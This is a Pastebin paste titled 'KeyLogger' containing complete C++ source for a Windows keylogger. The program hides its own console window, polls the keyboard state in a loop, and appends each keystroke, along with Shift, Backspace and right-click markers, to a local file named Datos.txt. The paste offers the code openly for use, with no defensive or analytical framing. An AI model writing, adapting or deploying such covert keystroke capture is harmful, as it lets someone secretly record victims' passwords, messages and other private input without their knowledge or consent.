Advertisement
EXTREMEXPLOIT

KeyLogger

Sep 26th, 2018
288
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 1.25 KB | None | 0 0
  1. #define _WIN32_WINNT 0x0500
  2. #include <Windows.h>
  3. #include <string>
  4. #include <stdlib.h>
  5. #include <stdio.h>
  6. #include <iostream>
  7. #include <fstream>
  8.  
  9.  
  10.  
  11. using namespace std;
  12.  
  13.  
  14.  
  15. void LOG(string input) {
  16.     fstream LogFile;
  17.     LogFile.open("Datos.txt", fstream::app);
  18.     if (LogFile.is_open()) {
  19.         LogFile << input;
  20.         LogFile.close();
  21.     }
  22. }
  23.  
  24.  
  25. bool SpecialKeys(int S_Key) {
  26.     switch (S_Key) {
  27.     case VK_SPACE:
  28.         cout << " ";
  29.         LOG(" ");
  30.         return true;
  31.     case VK_RETURN:
  32.         cout << "\n";
  33.         LOG("\n");
  34.         return true;
  35.     case '¾':
  36.         cout << ".";
  37.         LOG(".");
  38.         return true;
  39.     case VK_SHIFT:
  40.         cout << "#SHIFT#";
  41.         LOG("#SHIFT#");
  42.         return true;
  43.     case VK_BACK:
  44.         cout << "\b";
  45.         LOG("\b");
  46.         return true;
  47.     case VK_RBUTTON:
  48.         cout << "#R_CLICK#";
  49.         LOG("#R_CLICK#");
  50.         return true;
  51.     default:
  52.         return false;
  53.     }
  54. }
  55.  
  56.  
  57.  
  58. int main()
  59. {
  60.     ShowWindow(GetConsoleWindow(), SW_HIDE);
  61.     char KEY = 'x';
  62.  
  63.     while (true) {
  64.         Sleep(10);
  65.         for (int KEY = 8; KEY <= 190; KEY++)
  66.         {
  67.             if (GetAsyncKeyState(KEY) == -32767) {
  68.                 if (SpecialKeys(KEY) == false) {
  69.  
  70.                     fstream LogFile;
  71.                     LogFile.open("Datos.txt", fstream::app);
  72.                     if (LogFile.is_open()) {
  73.                         LogFile << char(KEY);
  74.                         LogFile.close();
  75.                     }
  76.  
  77.                 }
  78.             }
  79.         }
  80.     }
  81.  
  82.     return 0;
  83. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement